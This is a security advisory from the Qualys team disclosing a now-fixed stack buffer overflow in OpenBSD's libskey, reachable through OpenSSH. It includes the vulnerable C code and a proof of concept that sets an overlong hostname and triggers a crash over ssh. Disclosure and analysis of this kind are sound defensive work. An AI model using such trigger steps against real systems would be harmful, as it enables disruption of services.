Hi all, (Posting this report here in case another project uses the same code.) We discovered a minor stack-based buffer overflow in OpenBSD's libskey; it was introduced in July 1997 by the following commit: https://github.com/openbsd/src/commit/ea55ee16580e7b47c83712c5fd50615f8b1d26ad and was fixed today by the following commit (thanks to OpenBSD for their incredibly quick response!): https://github.com/openbsd/src/commit/848ef98a011b51fa811cb86fe900433edd2db24a and although the vulnerable function is reachable remotely via OpenSSH, this bug is useless in practice: - the hostname of the affected system must be longer than 126 characters to trigger this buffer overflow; - the characters that overflow this buffer are all '\0' characters (the filler characters of a strncpy() call). ======================================================================== Analysis ======================================================================== For users who do not have an entry in the S/Key database (the default on OpenBSD), libskey generates a fake challenge: ------------------------------------------------------------------------ 46 #define SKEY_MAX_PW_LEN 255 .. 49 #define SKEY_MAX_SEED_LEN 16 ------------------------------------------------------------------------ 420 skey_fakeprompt(char *username, char *skeyprompt) 421 { 422 char secret[SKEY_MAX_SEED_LEN], pbuf[SKEY_MAX_PW_LEN+1], *p, *u; ... 428 /* 429 * Base first 4 chars of seed on hostname. 430 * Add some filler for short hostnames if necessary. 431 */ 432 if (gethostname(pbuf, sizeof(pbuf)) == -1) 433 *(p = pbuf) = '.'; 434 else 435 for (p = pbuf; isalnum((unsigned char)*p); p++) 436 if (isalpha((unsigned char)*p) && 437 isupper((unsigned char)*p)) 438 *p = (char)tolower((unsigned char)*p); 439 if (*p && pbuf - p < 4) 440 (void)strncpy(p, "asjd", 4 - (pbuf - p)); ------------------------------------------------------------------------ Unfortunately, "pbuf - p" at lines 439 and 440 should be "p - pbuf", so the "pbuf - p < 4" test at line 439 always succeeds and the strncpy() at line 440 may overflow pbuf (if 2 * (p - pbuf) + 4 > 255 + 1, i.e. if the hostname is longer than 126 characters). ======================================================================== Proof of concept ======================================================================== - First, as root on an OpenBSD system: ------------------------------------------------------------------------ # hostname="`hostname`" # hostname `perl -e 'print "a" x 136'`.my.domain # ktrace -i /usr/sbin/sshd -d -p 2222 ------------------------------------------------------------------------ - Second, as a remote attacker: ------------------------------------------------------------------------ $ ssh -o ChallengeResponseAuthentication=yes -o KbdInteractiveAuthentication=yes -o PreferredAuthentications=keyboard-interactive -o KbdInteractiveDevices=bsdauth -l nobody:skey -p 2222 192.168.56.123 ------------------------------------------------------------------------ - Third, again as root on the OpenBSD system: ------------------------------------------------------------------------ # hostname "$hostname" # kdump ... 6718 login_skey PSIG SIGSEGV SIG_DFL code SEGV_MAPERR<1> addr=0x7f7f00000000 trapno=6 ------------------------------------------------------------------------ We are at your disposal for questions, comments, and further discussions. Thank you very much! With best regards, -- the Qualys Security Advisory team